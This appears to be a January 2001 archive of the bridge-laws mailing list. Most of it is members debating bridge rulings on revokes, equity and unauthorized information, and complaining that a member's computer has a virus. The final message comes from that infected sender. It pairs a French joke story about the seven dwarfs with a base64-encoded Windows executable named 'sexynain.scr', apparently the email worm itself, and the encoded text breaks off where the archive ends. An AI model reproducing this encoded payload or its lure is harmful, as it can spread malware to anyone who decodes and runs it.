> > >messages having attachments and tell the sender.) > > > > > > > > I think that would be the best solution. > > >+=+ see microsoft info and patch at >http://www.microsoft.com./technet/security/bulletin/ms99-032.asp >and at the same site ending bulletin/fq99-032.asp +=+ > >-- >======================================================================== >(Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with >"(un)subscribe bridge-laws" or just "help" in the BODY of the message. >A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ Ray Clements Administration --=====================_42994485==_.ALT Content-Type: text/html; charset="us-ascii" This is now getting beyond a joke.  Who is the postmaster of this group?

At 14:08 05/01/2001, Grattan Endicott wrote:

Grattan Endicott<gester@globalnet.co.uk
=================================  
"If ye have faith as a grain of mustard
seed, ye shall say unto this mountain,
remove hence to yonder place; and it
shall remove." 
                           <-=->

                 
----- Original Message -----
From: Richard Bley <bley@uni-duesseldorf.de>
To: <bridge-laws@rgb.anu.edu.au>
Sent: 05 January 2001 07:13
Subject: Re: [BLML] haha virus


> At 00:37 05.01.2001 +0100, Thomas Dehn wrote:
>
> >"N. Scott Cardell" <scardell@pullman.com> wrote:
> >
> >
> > > At 11:22 AM 1/4/01 -0500, you wrote:
> > > >The list isn't getting spammed; looks as though M. Beauvillain is
> > > >infected.  One header reproduced below.  (The other is much the same.)
> > > >
> > > >All of us need to use virus checkers and _NEVER_ open an attachment
> > > >unless you are _certain_ what is in it.  (Markus: can majordomo
> > > >automatically delete all attachments before sending messages to the
> > > >list?  If so, that would be a good thing IMHO.  Or maybe even reject
> > > >messages having attachments and tell the sender.)
> > >
>
> I think that would be the best solution.
>
+=+ see microsoft info and patch at
http://www.microsoft.com./technet/security/bulletin/ms99-032.asp
and at the same site ending bulletin/fq99-032.asp +=+

--
========================================================================
(Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with
"(un)subscribe bridge-laws" or just "help" in the BODY of the message.
A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/

Ray Clements
Administration
 --=====================_42994485==_.ALT-- -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sat Jan 6 13:18:17 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f062I0118508 for bridge-laws-outgoing; Sat, 6 Jan 2001 13:18:00 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from mta02-svc.ntlworld.com (mta02-svc.ntlworld.com [62.253.162.42]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f062Hrt18473 for ; Sat, 6 Jan 2001 13:17:54 +1100 (EST) Received: from vnmvhhid ([62.255.4.124]) by mta02-svc.ntlworld.com (InterMail vM.4.01.02.27 201-229-119-110) with SMTP id <20010106021748.ULPX23225.mta02-svc.ntlworld.com@vnmvhhid> for ; Sat, 6 Jan 2001 02:17:48 +0000 Message-ID: <000b01c07786$fbda88e0$7c04ff3e@vnmvhhid> From: "Anne Jones" To: Subject: [BLML] Date: Sat, 6 Jan 2001 02:18:14 -0000 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk WHO -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sat Jan 6 15:46:55 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f064jUY26630 for bridge-laws-outgoing; Sat, 6 Jan 2001 15:45:30 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from smtp2.san.rr.com (smtp2.san.rr.com [24.25.195.39]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f064jOt26598 for ; Sat, 6 Jan 2001 15:45:25 +1100 (EST) Received: from marvin ([24.30.153.86]) by smtp2.san.rr.com (Post.Office MTA v3.5.3 release 223 ID# 0-0U10L2S100V35) with ESMTP id com for ; Fri, 5 Jan 2001 20:42:17 -0800 Message-ID: <00c201c0779b$6f18b3e0$56991e18@san.rr.com> Reply-To: "Marvin L. French" From: "Marvin L. French" To: References: Subject: Re: [BLML] Equity or simplicity? Date: Fri, 5 Jan 2001 20:40:37 -0800 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Richard Hills wrote: > > In the thread *self-serving ?*, Ton wrote: > > >We need a rather optimistic (or poor) > >reader to find no indication for either > >equity based or punishment based. They > >certainly read more punishment based to > >me. With equity struggling to stay above > >the ground level. > > > >As you probably know we are starting to > >think about a new edition of our laws. > >Should we change the scope or the laws? > >Be aware that changing the scope is > >somewhat easier. > > > > ton > > As a sometime club director, I prefer the TD > user-friendly way the 1975 Laws handled > revokes. The 1998 Laws are more equitable > to the OS, but revoke rulings are > therefore more complex, causing problems > for the club TD. > > L12C3 also aims at providing equity for the > OS. And for the NOS, who must never get more than what they had coming at the time of the infraction. Determining that is easy, just look in a magic crystal ball, provided free of charge to WBF TDs and ACs. > Again, implementation by the club TD > is complex, requiring a percentage > assessment of likely outcomes of the hand > at the time just before the infraction. > It is simpler to award a *bridge* score(s) > under L12C2, Stop there, please. or Ave+ and Ave- Once in a blue moon, maybe. > > IMHO, *the scope* should mention only > simplicity and consistency. In the body > of the 2008 Laws, *equity* should only be > mentioned for the NOS. Forget equity, what we want is justice, simple and consistent. Marv San Diego, CA, USA -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sat Jan 6 17:26:25 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f066PiG19690 for bridge-laws-outgoing; Sat, 6 Jan 2001 17:25:44 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from smtp2.san.rr.com (smtp2.san.rr.com [24.25.195.39]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f066Pbt19658 for ; Sat, 6 Jan 2001 17:25:38 +1100 (EST) Received: from marvin ([24.30.153.86]) by smtp2.san.rr.com (Post.Office MTA v3.5.3 release 223 ID# 0-0U10L2S100V35) with ESMTP id com for ; Fri, 5 Jan 2001 22:22:31 -0800 Message-ID: <00f001c077a9$700618c0$56991e18@san.rr.com> Reply-To: "Marvin L. French" From: "Marvin L. French" To: References: Subject: Re: [BLML] Annoyingly irregular Date: Fri, 5 Jan 2001 22:16:44 -0800 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Todd Zimnoch wrote: > >From: "David Burn" > > > "They should summon the Director immediately when they believe there > >may > > > have been extraneous information resulting in calls or bids [plays?] > > > which could result in damage to their side." > > > > > > The question is: Doesn't this syntax convey that the TD should be > >called > > > when calls or plays *have been made* that may have been based on > > > extraneous information? > > > >I would use these words: > > > >"They should summon the Director immediately when they believe there has > >been extraneous information on which an opponent could have based a > >subsequent action." > > I think they both suffer from removing the important requirement so far > from the action to take. > > 1) "You should summon the Director immediately when an action is taken which > may have been based on extraneous information." > 2) "You should summon the Director when you believe an action was taken > which has been based on extraneous information." > > It clarifies the distinction between calling the director when the > information is made available and when the action is taken. This > distinction is the significant change, no? It also removes "opponent" from > the picture, since I should be allowed to call the director on my partner's > violation of L16. > You might also be able to remove "believe" from the picture as you > probably wouldn't think to summon the director if you believe there was an > irregularity. But a question to answer before that's done is whether you > can still call the director if you don't come to that realization about > bidding UI until after the hand had been played. That's the distinction I'm > trying to make between 1 and 2, though it's rather subtle. I suspect that 2 > is Marv's intent, but I thought I read some whisp about limiting the time > allowed for contract corrections to before play of the hand. > Here is my intent: When UI is apparently created in a situation that could lead to trouble, opponents should ask amicably, "Are we agreed that some unauthorized information has been communicated?" If the answer is yes, bid on, play on, calling the TD only if the opponents seem inexperienced and may need to be informed of the Laws pertaining to UI. If the answer is no, either forget the whole matter or call the TD immediately. All the TD does at this time is determine whether UI has indeed been communicated. Failure to get the TD's help at this point makes hir job harder later, and might make a difference in what s/he decides. It is improper, although common, to notice the UI, say nothing, and then call the TD when an opponent takes an action that could be based on it. If that is what the ACBL intends, it is wrong. There is no "substantial reason to believe" there has been an infraction at that time. Calling the TD without seeing evidence implies that an opponent has probably done something unethical, not a nice implication. In any event, as soon as there is evidence of an infraction (misuse of the UI), which can only come from the sight of dummy's hand or the realization of what other hands held after play is completed, call the TD (L16A2 footnote) if s/he isn't standing by. I don't know why the footnote wants the TD to be called immediately if it is dummy's hand that is the problem. S/he can't do anything about it at that time, so what's the hurry? If no damage results, and no one calls attention to the possible infraction, the TD need not be bothered. I do not believe that failure to call the TD immediately is grounds for denying redress later, even though the "should" in the footnote supposedly hints that failure to do so could jeopardize the rights of the NOS. Marv San Diego, CA, USA -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sun Jan 7 04:08:23 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f06H6kc21640 for bridge-laws-outgoing; Sun, 7 Jan 2001 04:06:46 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from smtppop3pub.verizon.net (smtppop3pub.gte.net [206.46.170.22]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f06H6ct21592 for ; Sun, 7 Jan 2001 04:06:38 +1100 (EST) Received: from pavilion (1Cust210.tnt1.bellingham.wa.da.uu.net [63.28.105.210]) by smtppop3pub.verizon.net with SMTP for ; id LAA88807162 Sat, 6 Jan 2001 11:02:01 -0600 (CST) Message-ID: <000501c07802$e7a9b360$0a00000a@pavilion> From: "mike dodson" To: References: <00f001c077a9$700618c0$56991e18@san.rr.com> Subject: Re: [BLML] Annoyingly irregular Date: Sat, 6 Jan 2001 09:05:17 -0800 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Marv wrote: > Here is my intent: > > When UI is apparently created in a situation that could lead to trouble, > opponents should ask amicably, "Are we agreed that some unauthorized > information has been communicated?" > > If the answer is yes, bid on, play on, calling the TD only if the opponents > seem inexperienced and may need to be informed of the Laws pertaining to UI. > If the answer is no, either forget the whole matter or call the TD > immediately. All the TD does at this time is determine whether UI has indeed > been communicated. Failure to get the TD's help at this point makes hir job > harder later, and might make a difference in what s/he decides. > > It is improper, although common, to notice the UI, say nothing, and then call > the TD when an opponent takes an action that could be based on it. If that is > what the ACBL intends, it is wrong. There is no "substantial reason to > believe" there has been an infraction at that time. Calling the TD without > seeing evidence implies that an opponent has probably done something > unethical, not a nice implication. Marv, I don't disagree with your thoughts on how it should be but I thought this was indeed ACBL policy. I don't get to many tournaments so I'm not sure how its really enforced. Please enlighten me. Mike Dodson -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sun Jan 7 10:09:30 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f06N8H025132 for bridge-laws-outgoing; Sun, 7 Jan 2001 10:08:17 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from smtp2.san.rr.com (smtp2.san.rr.com [24.25.195.39]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f06N89t25086 for ; Sun, 7 Jan 2001 10:08:10 +1100 (EST) Received: from marvin ([24.30.153.86]) by smtp2.san.rr.com (Post.Office MTA v3.5.3 release 223 ID# 0-0U10L2S100V35) with ESMTP id com for ; Sat, 6 Jan 2001 15:05:02 -0800 Message-ID: <00c901c07835$7ac7fb20$56991e18@san.rr.com> Reply-To: "Marvin L. French" From: "Marvin L. French" To: References: <200101042135.QAA29468@cfa183.harvard.edu> Subject: Re: [BLML] What is suggested ? Date: Sat, 6 Jan 2001 14:59:07 -0800 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-Mimeole: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Steve Willner wrote: > > From: "Marvin L. French" > > If an illogical action is deliberately taken because of partner's > > hesitation, I think that should be treated as an infraction. If L16 > > doesn't say so, it should. > > An illogical action that is made _more_ attractive by the UI is clearly > forbidden by L73C. (Some people think L16 also forbids such an action, > but I can't see that it matters. It's an infraction, one way or > another.) > > An illogical action made _less_ attractive by the UI is legal, as far > as I can tell. Why shouldn't it be? > -- In my view L16A is telling you what you can do after receiving UI from partner, and making an illogical call is not one of the options given. "What is not authorized is not permitted." Let's say you do something weird, like passing with a big hand to punish partner for a gross break in tempo, something s/he has been doing too often. This throws an oddball score into the works for no good bridge reason. Knockout match, maybe okay. Otherwise no. If the stupidity works to your advantage (e.g., 7NT doesn't make after all, due to very bad breaks), opponents should get redress. Marv San Diego, CA, USA -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sun Jan 7 14:59:47 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f073whQ24005 for bridge-laws-outgoing; Sun, 7 Jan 2001 14:58:43 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from smtp2.san.rr.com (smtp2.san.rr.com [24.25.195.39]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f073wat23971 for ; Sun, 7 Jan 2001 14:58:37 +1100 (EST) Received: from marvin ([24.30.153.86]) by smtp2.san.rr.com (Post.Office MTA v3.5.3 release 223 ID# 0-0U10L2S100V35) with ESMTP id com for ; Sat, 6 Jan 2001 19:55:30 -0800 Message-ID: <011101c0785e$0e6da6e0$56991e18@san.rr.com> Reply-To: "Marvin L. French" From: "Marvin L. French" To: References: <3.0.32.20010104150551.0072a834@pullman.com> Subject: Re: [BLML] Annoyingly irregular Date: Sat, 6 Jan 2001 19:48:57 -0800 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-Mimeole: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk "N. Scott Cardell" wrote: > > >> From: "Marvin L. French" > >> The ACBL ELECTION for L16A1 says, in part: > >> > >> "They should summon the Director immediately when they believe there may > >> have been extraneous information resulting in calls or bids [plays?] > >> which could result in damage to their side." > >> > >> The question is: Doesn't this syntax convey that the TD should be called > >> when calls or plays *have been made* that may have been based on > >> extraneous information? And someone wrote: > > > >It's very confusing indeed, especially when read in conjunction > >with L16A1 and A2. > > > >L16A1 pertains to the moment when UI is made available. In logic, it > >would seem that the ACBL BoD could do one of three things: 1) accept > >"reserving rights," 2) forbid reserving rights and say "Don't call the > >TD until permitted by L16A2," or 3) forbid reserving rights and say > >"Call the TD at once when you believe significant UI has been made > >available." > > > >L16A2 pertains to calls or plays after the UI exists. This law offers > >no SO elections. The footnote clearly specifies the time to call the > >TD under this law. > > Clearly??????? > > Here is L16A2 > > 2. When Illegal Alternative Is Chosen > When a player has substantial reason to believe* that an opponent > who had a logical alternative has chosen an action that could have been > suggested by such information, he should summon the Director forthwith. The > Director shall require the auction and play to continue, standing ready to > assign an adjusted score if he considers that an infraction of law has > resulted in damage. > > *When play ends; or, as to dummy's hand, when dummy is exposed. > > > The title "When ... Is ...", and the plain text "When ... he should summon > the Director forthwith." Both "clearly suggest that the director should be > summoned immediately "When a player has substantial reason to believe* that > an opponent who had a logical alternative has chosen an action that could > have been suggested by such information." The next sentence "The Director > shall require the auction and play to continue," confirms that this law > contemplates the director being called either during the auction or during > the play. Against all these clear indications we have one rather strange > contradictory footnote: "When play ends; or, as to dummy's hand, when dummy > is exposed." > > In view of the clear contradiction (which is all that is really clear) the > most parsimonious guess as to what is going on is that the footnote was > meant to be: "This should be no later than when play ends; or, as to > dummy's hand, when dummy is exposed." Which BTW seems to be how the ACBL > has read this law. Very good, Scott, you have sharp eyes. However, I disagree with your guess. > Whenever you see something like this in the Laws, you can bet it is the result of a bungled revision somewhere along the line. A new idea is added without paying attention to what is not removed or not changed, and the inevitable result is a contradiction. The 1975 Laws treated the creation of UI (e.g., a break in tempo) as an offense in itself, calling it "illegal unauthorized information." Here is what L16 said then: C. Report of Alleged Illegal Information 1. Calling the Director Any player except dummy may call the Director if it appears that illegal information has been conveyed by another player. 2. Director's Action If attention is drawn to the offense and the Director is summoned forthwith, the Director should require that the auction or play continue, reserving his right to assign an adjusted score if he considers that the result could have been affected by the illegal information. The 1987 revision to the Laws recognized that it is not the UI that is illegal, but an action taken that is based on the UI. Also, suspicion is not enough, you must have solid evidence. Now, when can you know that an illegal action was taken? Obviously, only when you see the dummy or, if dummy has done nothing wrong, when play is complete. A footnote was added to make that clear. Now, at that time the text "require the auction or play to continue" should have been amended to "require the play to continue," but no one seems to have caught that. I believe this guess is more parsimonious than assuming the footnote is incorrect. Marv San Diego, CA, USA -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sun Jan 7 18:37:25 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f077ZTF24447 for bridge-laws-outgoing; Sun, 7 Jan 2001 18:35:29 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from granger.mail.mindspring.net (granger.mail.mindspring.net [207.69.200.148]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f077ZNt24443 for ; Sun, 7 Jan 2001 18:35:23 +1100 (EST) Received: from hirschd (user-vcauh59.dsl.mindspring.com [216.175.68.169]) by granger.mail.mindspring.net (8.9.3/8.8.5) with SMTP id CAA13563 for ; Sun, 7 Jan 2001 02:35:18 -0500 (EST) Message-ID: <001001c0787c$607a9ce0$0200000a@mindspring.com> From: "Hirsch Davis" To: References: <200101042135.QAA29468@cfa183.harvard.edu> <00c901c07835$7ac7fb20$56991e18@san.rr.com> Subject: Re: [BLML] What is suggested ? Date: Sun, 7 Jan 2001 02:35:14 -0500 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-Mimeole: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk ----- Original Message ----- From: "Marvin L. French" To: Sent: Saturday, January 06, 2001 5:59 PM Subject: Re: [BLML] What is suggested ? > In my view L16A is telling you what you can do after receiving UI from > partner, and making an illogical call is not one of the options given. "What > is not authorized is not permitted." > This makes no sense, as 16A1 is written in the negative. It tells you what you may not do in the presence of UI. All other legal calls and plays must still be presumed to remain legal. There is no law against illogical bidding or play in bridge, although some would have it so. > Let's say you do something weird, like passing with a big hand to punish > partner for a gross break in tempo, something s/he has been doing too often. > This throws an oddball score into the works for no good bridge reason. > Knockout match, maybe okay. Otherwise no. If the stupidity works to your > advantage (e.g., 7NT doesn't make after all, due to very bad breaks), > opponents should get redress. > > Marv > San Diego, CA, USA > Why on earth would the opponents get redress in this situation? Are you going to give redress every time someone makes a bad bid and it works? I might administer a procedural penalty, if the circumstances of the illogical call appeared to be a violation of 74A2, but the opponents are stuck with the score, good or bad. Most of the time, they will be very happy about that, too. Illogical bidding usually produces its own reward. You get redress for a violation of Law, not a violation of common sense. Hirsch -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Mon Jan 8 04:52:09 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f07HkHq17690 for bridge-laws-outgoing; Mon, 8 Jan 2001 04:46:17 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from amyris.wanadoo.fr (smtp-abo-2.wanadoo.fr [193.252.19.150]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f07HgFt17685 for ; Mon, 8 Jan 2001 04:45:07 +1100 (EST) Date: Mon, 8 Jan 2001 04:45:07 +1100 (EST) Received: from beauvillain (193.248.114.22) by amyris.wanadoo.fr; 7 Jan 2001 18:41:18 +0100 Message-ID: <3a58aa433a68b8d6@amyris.wanadoo.fr> (added by amyris.wanadoo.fr) From: Hahaha Subject: [BLML] Les 7 coquir nains MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="--VEZW96JC12NG16ROXUJS9IJGXYB" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk ----VEZW96JC12NG16ROXUJS9IJGXYB Content-Type: text/plain; charset="us-ascii" C'etait un jour avant son dix huitieme anniversaire. Les 7 nains, qui avaient aidé 'blanche neige' toutes ces années aprčs qu'elle se soit enfuit de chez sa belle mčre, lui avaient promis une *grosse* surprise. A 5 heures comme toujours, ils sont rentrés du travail. Mais cette fois ils avaient un air coquin... ----VEZW96JC12NG16ROXUJS9IJGXYB Content-Type: application/octet-stream; name="sexynain.scr" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="sexynain.scr" TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAgAAAALRMzSEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAABQRQAATAECAAAAAAAAAAAAAAAAAOAADwELAQAAAFYAAAAAAAAAAAAAABAA AAAQAAAAAAAAAABAAAAQAAAAAgAABAAAAAAAAAAEAAAAAAAAAACAAAAAAgAAAAAAAAIAAAAAABAA ABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAAhwAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC50ZXh0AAAAAGAAAAAQAACoVAAAAAIA AAAAAAAAAAAAAAAAACAAAOAucmRhdGEAAAAQAAAAcAAAWgAAAABYAAAAAAAAAAAAAAAAAABAAADA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADr FqhUAABQQ0JHTUpDRgAOC0hZQlJJUwD8aExwQAD/FQBwQACjCiNAAIPEhIvMUOh8AAAAXqE1Cifa HPo3yJDnSLXJ7t3FOxTtOKRv+GfTc+pR9O6i/AuJNOIiPrxC4Cq53H5sNXfMXjVguFwJrFAYrHHj SiXLG3Lv+wdKT1hwcrOTfD7rduGAY5LvseJ7FEQYpBTblO28PiFdANOtfu+nOGbHGCUuPV1gfpLV ICaXTlFqH+jWCAAAagPHRCR8IIO47V0xLSsXQAAxLVEXQACLLQIQQABqQGgAMAAAVWoA/1QkSIXA D4TKBAAAUFVQ/1QkSAEsJF+FwI21ABBAAA+FsQQAAGhMTAAAaDMyLkRoV1MyX1T/VCQwhcBYWFgP hJIEAABQ/1QkKP2H6fOkxgfrgcc4AQAA/+f86L8HAADGhZwFAADrxoX0AQAAPImNmAUAAIHsBAEA AIv0gcTA/v//aAQBAABW/5QkkAIAAIXAD4QiBAAAjTwGuFxXU0+rNR8cYH2rNW0Pf36rK8CrVFb/ lCSMAgAAi9hDD4T4AwAAK+1Q/5QknAIAADlsJBwPheQDAABqEotEJCQr0ln38YP6EA+ExQMAAGiA AAAAVv+UJHwCAACFwHQcVWiAAAAAagNVVWgAAADAVv+UJHgCAACL2EB1butnaAQBAABqQP+UJLQC AACFwHRV6PAGAADGhfQBAADriYWYBQAAxoWcBQAAPDP/l+iUCAAAV1bzpIPvC411BqWlq19eagFW V/+UJMACAACFwA+FQv///8eEJLwCAAAAAAAAxoWcBQAA6+kWAwAAU4t0JCSBxgAAAQBVVlVqBFVT /5QkdAIAAIXAD4TWAgAAUFZVVWoCUP+UJHACAACFwA+EnAIAAFD/dCQsUP+UJJQCAACFwIsEJA+F fQIAAGAPtxgDQDxQaPgAAABQ/5QkuAIAAIXAWA+FXgIAADMY6CcGAACB8x0fAACLTQIPhUgCAABm 90AWACExQAgPt1gGD4Q1AgAAa9sojZQY+AAAAIt67Itq5Ita6AFK6AFK4MdC/EAAAMCLcDhOAXLg 99YhcuCLcug5cuBzBYly4OvnUYtK4ANK5IlIUFkD+41UHQCNqtASAAADfCQcUlXoqgUAAIv1UfOk XSv9iZf3EgAAK/Vdh2goib7hAwAAia/jEgAAlYtEJFBqEgNNPEkDwffRVeh1BQAAA0UCI8Er0l1Z 9/GZQED34UhIiUQkUP90JCSNtQQBAAAPt00Gi314i9+tUCvYrSvYcgZYg+7g4u+tUOguBAAAMX8E i38c6CMEAABeXofN6CIFAABbXlNqA7sgg7jtXY2GbgsAAIvQhwSvg+30K8KD6F2Jg8cLAACNhjYe AACL0IcEr0Urwi3eAAAAiYMQHwAAjYbvEQAARYvQRYcEryvCLYEAAACJg2wSAACNhucSAACLk+MS AAApg+MSAACF0nUGiZPjEgAAaAABAADocwcAAP7Egetw7P//iYN0////llKJk2////9fhf91Covy ibN0////6x0DuQwBAAAruQQBAAADPCSLB4lDzGr/6DMHAACJA4fx4wgAB67ByAji+IfxW4lxWIm0 JOgCAACLbCRMh/NVh83R6WatZgPQZoPSAOL1WAPCiUVY6CkEAACAvfQBAAA8dFCNtCRsAQAAagRW /7WYBQAA/5Qk2AIAAIXAdS5obWUAAGhSZW5hi8xoSU5JAGhOSVQuaFdJTklU/7WYBQAAVlH/lCTs AgAAg8QUxoWcBQAA62H/lCS8AgAA/5QkaAIAACvtVVX/dCQs/3QkDP+UJIQCAAD/NCT/lCSUAgAA jUQkGFCD6AhQg+gIUP90JAz/lCSMAgAA/5QkZAIAAI2cJEABAAD/NCRT/5QkfAIAAOsLx4QkvAIA AAAAAABo6ABRADwK/zQk/5QkwAIAAP+UJHACAACBxEQCAAC/BAEAACvni9wr54vsV1VqAP+UJHgC AABXU/+UJFQCAACLyIvRi/uL9aw6B3QGNCA4B3UDR+LyjTwTsFyquEpGQ0uruE9MSkiruNG6p7r3 0KsrwKuDvCSAAgAAAA+EaAEAAIXJD4S5AAAAagNoAAAAgFXoqAEAAIvwQA+EkAEAAGgAAAIAakD/ lCR4AgAAi/hqAOixAgAAge16+f//VWgAAAIAV1b/lCRoAgAAVv+UJCgCAABqAmgAAABAU+heAQAA i+hAdFWNtCQAAQAAagBWaCCDuO1XVf+UJGwCAABQUGr/av/oLQUAAA+30OglBQAAD7fAgOQPgMQe VFJQ/5QkfAIAAIvEUFBQVf+UJFQCAABYWFX/lCQoAgAAV/+UJDQCAABqAGhQSTMyaEFEVkFU/5Qk OAIAAFlZWWhRPE7OaF7Stp5o2bCuwovMg+wMi9RQUVJqA+h/AgAAXltfg8QMVFRoBgACAGoA6NoB AACB7f73//9VaAEAAIBWi/VqEFmBNiCDuO2t4vde/9ZahcB0FlBUaAYAAgBqAFVoAgAAgP/WhcBa dWlSjbQkCAEAAFboUwMAAIcMJFFqAWoAagBS/9P/14HxIIO47YXJdUKL7GoEagBV/5QkcAIAAIXA dTBoTlVMAIvMaG1lAABoUmVuYYvUaElOSQBoTklULmhXSU5JVFVRUv+UJIgCAACDxBiBxAgCAAD/ NCT/NCTCdAArwFBogAAAAP90JBRQagP/dCQc/3QkHP+UJEwCAADCDAADfCQEK3wkCAN8JAzDc+ze mVfiyoh8ztGOUuzLgkb35LpJ7dyCV/DkrlXxyohO9+6IUvDRgk7f6phOzNaORYO47Qjgkc125tuD 